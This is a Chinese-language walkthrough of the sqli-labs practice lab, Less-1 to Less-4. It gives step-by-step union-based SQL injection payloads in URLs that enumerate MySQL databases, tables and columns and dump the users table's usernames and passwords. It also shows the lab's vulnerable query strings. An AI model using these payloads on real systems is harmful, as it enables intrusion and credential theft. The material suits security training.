sqli-labs练习SQL注入(mysql)
漏洞源代码下载:https://github.com/Audi-1/sqli-labs
手工注入(hackbar)
Less-1 Get-Error-Single quotes-String
从标题可以知是基于get请求方法的单引号字符报错
页面提示输入数字型参数 id
/sqli-labs/Less-1/?id=1
返回正常页面
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
加一个单引号测试
sqli-labs/Less-1/?id=1'
页面报错
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从外层依次去掉闭合的单引号可以看到只剩下 1’ ,可知为字符型注sql注入(字符型和数字型的区别会在Less-2后区分)。
构造payload
在这里使用 # 或– 注释掉多余的部分(当然,这里也可以使用其他方法闭合这个单引号),对#进行了url编码,构造好使其正常返回。
sqli-labs/Less-1/?id=1' %23
返回正常
猜测字段数(order by )
使用联合查询 (union select)
首先使用order by 进行字段数猜测
sqli-labs/Less-1/?id=1' order by 10%23
返回错误 :Unknown column ‘10’ in ‘order clause’
sqli-labs/Less-1/?id=1' order by 5%23
返回正常
sqli-labs/Less-1/?id=1' order by 6%23
返回错误
可知字段数为 5
找到显示位
sqli-labs/Less-1/?id=-1' union select 1,2,3,4,5%23
这里注意把id的值设置为一个错误的值,这里设置为了-1可知显示位在 2,3
Welcome Dhakkan
Your Login name:2
Your Password:3
查看目标数据库基本信息
sqli-labs/Less-1/?id=-1' union select 1,version(),user(),4,5%23
返回如下
Welcome Dhakkan
Your Login name:5.5.53
Your Password:root@localhost
| 函数 | 功能 |
|---|---|
| database() | 返回当前数据库名 security |
| user() | 返回当前数据库连接使用的数据库 security |
| version() | 返回当前数据库的版本 5.5.53 |
| system_user() | 查询系统用户名 root@localhost |
| session_user() | 连接数据库的用户名 root@localhost |
| current_user() | 查询当前用户名 root@localhost |
| @@version_compile_os | 查询数据库操作系统 Win32 |
| @@datadir | 查询数据库路径 C:\phpStudy\MySQL\data\ |
| @@basedir | 查询MySQL路径 C:/phpStudy/MySQL/ |
注:MySQL在5.xx版本以上有个information_schema数据库,该数据库记录了当前数据库的所有数据库、表、列、用户权限等信息,其中SCHEMATA 表存储MySQL所有数据库的基本信息,包括数据库名、编码类型路径等,show databases;结果取自此表;TABLE表存储MySQL中的表信息,show tables from schemaname;的结果取自此表;COLUMNS表:提供了表的列信息,show columns from schemaname.tablename;的结果取自此表
可得到该数据库基本信息 版本:5.5.53 用户:root@localhost 当前数据库名: security
获取数据库中的信息(database,table,column)
获取数据库
sqli-labs/Less-1/?id=-1' union all select 1,2, schema_name,4,5 from information_schema.schemata %23
返回了数据库 information_schema,一般MySQL中不止一个数据库,可以在加个limit 1,1第一个1表示从那里开始,第二个1表示几个,可以通过不断更改第一个数来显示数据库
sqli-labs/Less-1/?id=-1' union all select 1,2, schema_name,4,5 from information_schema.schemata limit 2,1%23
当然更简单的方法是使用group_concat()一次性返回所有的
sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(schema_name),4,5 from information_schema.schemata %23
返回:information_schema,challenges,mysql,performance_schema,security,test
security为需要查找的数据库
获取表
sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema='security' %23
或者
sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema=0x7365637572697479 %23
返回:emails,referers,uagents,users
注意:security是字符串要使用单引号包裹,或者将其转为十六进制,数值类型不需要单引号(有时可能会过滤掉单引号)
获取列
sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(column_name),4,5 from information_schema.columns where table_name='users' %23
返回:id,username,password,first_name,last_name
获取数据
到这里我们已经知道了数据库名security,表名users,列名id,username,password,first_name,last_name
sqli-labs/Less-1/?id=-1' union all select 1, group_concat(username),group_concat(password),4,5 from security.users %23
返回
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-2 GET-Error based-Intiger based
基于get请求方法的整形注入
根据页面提示可知为数字型参数 id
sqli-labs/Less-2/?id=1
页面返回
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
添加一个单引号后
sqli-labs/Less-2/?id=1'
页面返回错误
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
从外层逐层去掉闭合单引号发现只剩下一个单引号 ,可以判断为数字型sql注入。
构造payload
Less-2/?id=1 %23
数字型直接把后面的注释掉即可
sqli-labs/Less-2/?id=1 order by 6 %23 报错
sqli-labs/Less-2/?id=1 order by 5 %23 正常
sqli-labs/Less-2/?id=-1 union select 1,2,3,4,5 %23 显示位 2,3
sqli-labs/Less-2/?id=-1 union select 1,version(),database(),4,5 %23 版本:5.5.53 数据库:security
sqli-labs/Less-2/?id=-1 union select 1,2, group_concat(schema_name),4,5 from information_schema.schemata %23 返回所有的数据库
sqli-labs/Less-2/?id=-1 union select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema='security' %23 返回security数据库的所有表名
sqli-labs/Less-2/?id=-1 union all select 1,2, group_concat(column_name),4,5 from information_schema.columns where table_name='users' %23 返回users表的所有列名
sqli-labs/Less-2/?id=-1 union all select 1, group_concat(username),group_concat(password),4,5 from security.users %23 返回users表中的username和password字段的值
以上payload与Less-1相似
字符型注入和数字型注入的区别
Less-1 字符型 id=’$id’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Less-2 数字型 id=$id
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
加了一个单引号的报错结果
字符型:''1'' LIMIT 0,1' 从外逐层去掉成对的单引号 1'
数字型:'' LIMIT 0,1' 从外逐层去掉成对的单引号 '
如果没有报错显示:test1不报错,test2报错为字符型
test1 sqli-labs/Less-1/?id=1' or '1'='2
test2 sqli-labs/Less-1/?id=1' or '1'=2
对比可知:字符型使用单号包裹,数字型无;加了一个单引号后可以看到提交的参数被单引号包裹;以及上面测试的结果判断。
Less-3 GET-Error-Single quotes with twist-string
基于get请求方法的带括号的单引号字符型报错注入
测试
sqli-labs/Less-3/?id=1'
返回
near ''1'') LIMIT 0,1' at line 1
分析发现是在 Less-1的基础上加了括号
构造payload
sqli-labs/Less-3/?id=1') %23
返回正常,这里看一下源码就更好理解了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
按照之前的思路测试即可
sqli-labs/Less-3/?id=1') order by 6 %23 返回错误
sqli-labs/Less-3/?id=1') order by 5 %23 返回正常
sqli-labs/Less-3/?id=-1') union all select 1,2,3,4,5 %23 可知 2,3回显
Less-4 Get-Error based- Double Quotes-string
基于get请求方法的双引号报错注入
测试
sqli-labs/Less-4/?id=1'
页面正常没有任何异常(这里加了单引号没作用),加一个双引号
sqli-labs/Less-4/?id=1"
返回 near '"1"") LIMIT 0,1' at line 1
从外逐层去掉成对的双引号和单引号 ,我们发现情况与Less-3类似,只是单引号换成双引号。
构造payload
sqli-labs/Less-4/?id=1") %23
返回正常
按照之前的思路即可
sqli-labs/Less-4/?id=1") order by 6%23
sqli-labs/Less-4/?id=1") order by 5%23
sqli-labs/Less-4/?id=-1") union select 1,2,3,4,5%23